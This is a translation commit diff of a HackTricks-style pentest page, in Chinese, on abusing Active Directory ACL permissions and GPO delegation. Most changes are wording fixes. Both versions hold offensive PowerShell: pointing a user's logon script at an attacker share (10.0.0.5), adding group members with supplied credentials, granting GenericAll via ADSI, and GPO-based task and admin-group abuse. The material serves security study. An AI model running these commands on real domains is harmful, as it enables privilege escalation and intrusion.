Translated ['src/windows-hardening/active-directory-methodology/acl-pers

This commit is contained in:
Translator 2025-05-28 18:48:16 +00:00
parent 5f0b8ab07e
commit c6e7470d14

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}}
**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术总结。有关更多详细信息,请查看原始文章。**
**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术。有关更多详细信息,请查看原始文章。**
## BadSuccesor
## BadSuccessor
{{#ref}}
BadSuccesor.md
BadSuccessor.md
{{#endref}}
## **用户的 GenericAll 权限**
@ -86,13 +86,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本。
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现的
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用该对象将用户添加或移除组,并使用 PowerShell 命令验证成员资格更改。
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用它来添加或移除用户,并使用 PowerShell 命令验证成员资格更改。
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -102,7 +102,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
拥有一个 AD 对象并对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。
拥有一个 AD 对象并对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -112,23 +112,23 @@ $ADSI.psbase.commitchanges()
```
## **域上的复制 (DCSync)**
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,允许攻击者在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
## GPO 委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO 委派
委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用以进行恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用用于恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### 枚举 GPO 权限
要识别配置错误的 GPO可以将 PowerSploit 的 cmdlet 链接在一起。这允许发现特定用户有权限管理的 GPO`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**应用了给定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用于特定计算机的策略**:要查看应用于特定计算机的策略,可以使用 `Get-DomainGPO` 等命令。
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。
**应用定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。
您还可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并查找其中的问题。
@ -153,17 +153,17 @@ SharpGPOAbuse 提供了一种通过添加任务或修改设置来滥用现有 GP
```
### 强制策略更新
GPO 更新通常每 90 分钟发生一次。为了加快这个过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
GPO 更新通常每 90 分钟发生一次。为了加快过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
### 背后原理
### 背后的机制
检查给定 GPO 的计划任务时,例如 `Misconfigured Policy`可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
检查给定 GPO 的计划任务时,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
任务的结构,如 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体细节,包括要执行的命令及其触发器。该文件表示如何在 GPO 中定义和管理计划任务,提供了一种作为政策执行一部分执行任意命令或脚本的方法。
### 用户和组
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以授予特定用户在受影响系统上的提升权限。这种方法提供了一种通过 GPO 操作直接进行权限提升的途径。